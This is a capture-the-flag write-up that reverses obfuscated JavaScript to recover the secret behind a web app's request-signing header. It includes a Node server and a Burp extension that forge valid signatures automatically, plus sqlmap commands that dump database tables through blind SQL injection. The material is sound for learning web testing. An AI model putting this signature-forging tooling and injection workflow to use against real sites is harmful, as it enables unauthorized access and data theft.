SignedUrl Hub

The challenge is a mimic from this report https://buer.haus/2024/01/16/reversing-and-tooling-a-signed-request-hash-in-obfuscated-javascript/

We got a simple webApp which our goal is to get article ID 3 to get the flag

we got only two articles 1,2

../_images/Screenshot_1.png

and the request to get an article is below

GET /api/article?id=2 HTTP/1.1
Host: k34m4yau.ctfio.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://k34m4yau.ctfio.com/
Content-Type: application/json
Time: 1705844109476
Sign: 93035f0722e901ca6519fd0c2b36f77bf4f4de2e
User-Id: 1234
Connection: close

so we change id to 3 but we get 401, it doesnt accept changes the front end needs to sign the request and add its Sign header

HTTP/1.1 401 Unauthorized
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 21 Jan 2024 14:16:17 GMT
Content-Type: application/json
Connection: close
Content-Length: 58

{"error":{"code":401,"message":"Please refresh the page"}}

we go to the js files, there are only two files sha1.js which is from https://github.com/emn178/js-sha1 and main.js

../_images/Screenshot_2.png

the main.js is obfuscated and there is a list of strings and indexer function _0x13dd which replaces bits of code to hide code intent

../_images/Screenshot_3.png

we search for “sign” to see where it is set, and set a breakpoint there

../_images/Screenshot_4.png
the ` const _0x17f0a4 = _0x13dd;` is the indexer used in obfuscation
Lets deobfuscate the code here by using the console
First the “method” parameter has _0x17f0a4(319) which is “GET”
../_images/Screenshot_5.png

in the samy way, the timastamp parameter which is set in let _0x383605 = Date[‘now’]() [_0x17f0a4(377)]();

../_images/Screenshot_6.png
and user_id is hardcoded 1234 and the last thing is signature which is set in _0x356503(_0x17f0a4(338) + _0x876803, _0x383605, _0x17f0a4(335))
decoded with indexer _0x17f0a4 to _0x356503(“/api/article?id=” + _0x876803, _0x383605, 1234)
and _0x383605 is the timeStamp set above Date[‘now’]().toString()
and _0x876803 is what is put in the id parameter
Now we have all the parameter, lets step into _0x356503 function, we get the sha1 function
../_images/Screenshot_7.png
so it runs sha1 with the provided parameters and returns the output to be set as “Sign” header
that’s the main function we need for the change in the request to be valid
sha1(
        [_0x4cd499(351),
        _0x43ee81,
        _0x36740f,
        _0x3b5808][_0x4cd499(362)]('\n')
        );

_0x4cd499(351) is “pE5CRmAhC8fvaWy6u58tKDTEKCZyTKLA”, _0x43ee81 is the timeStamp , _0x36740f is the path in the url plus id paramter, _0x3b5808 is 1234 (user_id)

../_images/Screenshot_8.png

which is joined with newline in between and passed to sha1

Now after understanding the JS, we can just use sha1 in console to print our desired “sign” header with this command with 1705851236094 the timeStamp in the request, and /api/article?id=3 is out path

test = sha1(["pE5CRmAhC8fvaWy6u58tKDTEKCZyTKLA", "1705851236094", "/api/article?id=3", "1234"].join("\n"));
../_images/Screenshot_10.png

And we pass the sign check, but the article is not found

../_images/Screenshot_11.png

The idea seems like an sql problem, and if we need to pass it to sqlmap (because it was blindsql injection), we would need to automate our sign header with each request made

So i made node server which will just set header Sign based on the request timeStamp, path, idParamter, and user_id = “1234”

const express = require('express');
sha1 = require('js-sha1');

const app = express();
const port = 3000;

app.use(express.json());

app.use((req, res, next) => {
const { path, headers,originalUrl } = req;
const timeHeader = headers['time'];
const rawQuery = originalUrl.split('?')[1] || '';
// console.log(timeHeader)
const idParameter = rawQuery.split('=')[1] || '';
const signature = generateSignature(path,idParameter, timeHeader);

res.setHeader('Sign', signature);
next();
});

app.get('/api/some_endpoint', (req, res) => {
res.json({ result: 'Success' });
});

function generateSignature(path, idParameter,timeHeader) {

const p4 = "1234"
if(idParameter !=''){

    path =`${path}?id=${idParameter}`
}
// console.log(path)
const signature = sha1(["pE5CRmAhC8fvaWy6u58tKDTEKCZyTKLA",timeHeader, path, p4].join("\n"));

return signature;
}

app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});

And a Burp plugin to pass any request it gets to that server to get the sign header and changes the old sign header with the new

from burp import IBurpExtender
from burp import IHttpListener
from burp import IInterceptedProxyMessage
import base64
import json

class BurpExtender(IBurpExtender, IHttpListener):

    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        self._callbacks.setExtensionName("Custom Sign Header Extension")
        self._callbacks.registerHttpListener(self)

    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if messageIsRequest and "ctfio.com" in self._helpers.analyzeRequest(messageInfo).getUrl().toString():
            # Forward the modified request to the localhost server
            response_from_local = self.forwardToLocalhostServer(messageInfo)
            # Extract the 'Sign' header from the response from the localhost server
            sign_header_value = self.extractSignHeader(response_from_local)
            # Modify the original request to include the extracted 'Sign' header
            final_request = self.modifyOriginalRequest(messageInfo, sign_header_value)
            # Send the modified request to the original destination
            #self.forwardToOriginalDestination(final_request)

    def modifyRequest(self, messageInfo):
        request_info = self._helpers.analyzeRequest(messageInfo)
        headers = request_info.getHeaders()
        # Add or manipulate headers as needed
        # Example: headers.add("Custom-Header: Value")
        modified_request = self._helpers.buildHttpMessage(headers, messageInfo.getRequest())
        return modified_request

    def forwardToLocalhostServer(self, modified_request):
        try:
            response_from_local = self._callbacks.makeHttpRequest("localhost", 3000, False, modified_request.getRequest())
            if response_from_local is None:
                print("Error: No response received from localhost server.")
                return None
            return response_from_local
        except Exception as e:
            print("Error forwarding to localhost server:", e)
            return None




    def extractSignHeader(self, response_from_local):
        if response_from_local:
            response_from_local=self._helpers.analyzeRequest(response_from_local)
            sign_header = response_from_local.getHeaders()
            for header in sign_header:
                if header.startswith('Sign:'):
                    # Extract the value of 'Sign' header
                    sign_header = header.split(':', 1)[1].strip()
                    return sign_header
            if sign_header:
                return sign_header
            else:
                print("Sign header not found in the response")
        else:
            print("Invalid response or headers")
        return None


    def modifyOriginalRequest(self, original_request, sign_header):
        original_headers = original_request.getRequest()
        original_headers = self._helpers.analyzeRequest(original_headers)
        original_headers = original_headers.getHeaders()
        original_headers_copy = list(original_headers)

        for header in original_headers_copy:
            if header.startswith("Sign:"):
                original_headers.remove(header)

        # Add the new Sign header
        original_headers.add("Sign: " + sign_header)

        httpRequest = self._callbacks.getHelpers().buildHttpMessage(original_headers,"")
        original_request.setRequest(httpRequest)
        return original_request


# Instantiate the extension
burp_extender = BurpExtender()

So diagram be like this, from https://buer.haus/2024/01/16/reversing-and-tooling-a-signed-request-hash-in-obfuscated-javascript/

../_images/diagram2-1024x741.png

Then load my plugin into burp

../_images/Screenshot_12.png

Now i dont need to worry about the sign header, every change i make is automatically updated

../_images/Screenshot_13.png

Now all that’s left is sqlmap with proxy to burp sqlmap -r sreq –proxy http://127.0.0.1:8080 -p “id”

and i dump the contents columns sqlmap -r sreq --proxy http://127.0.0.1:8080 -p "id" --dump -C contents -T article -D news --level=5 --risk=3 and i find the flag

../_images/Screenshot_64.png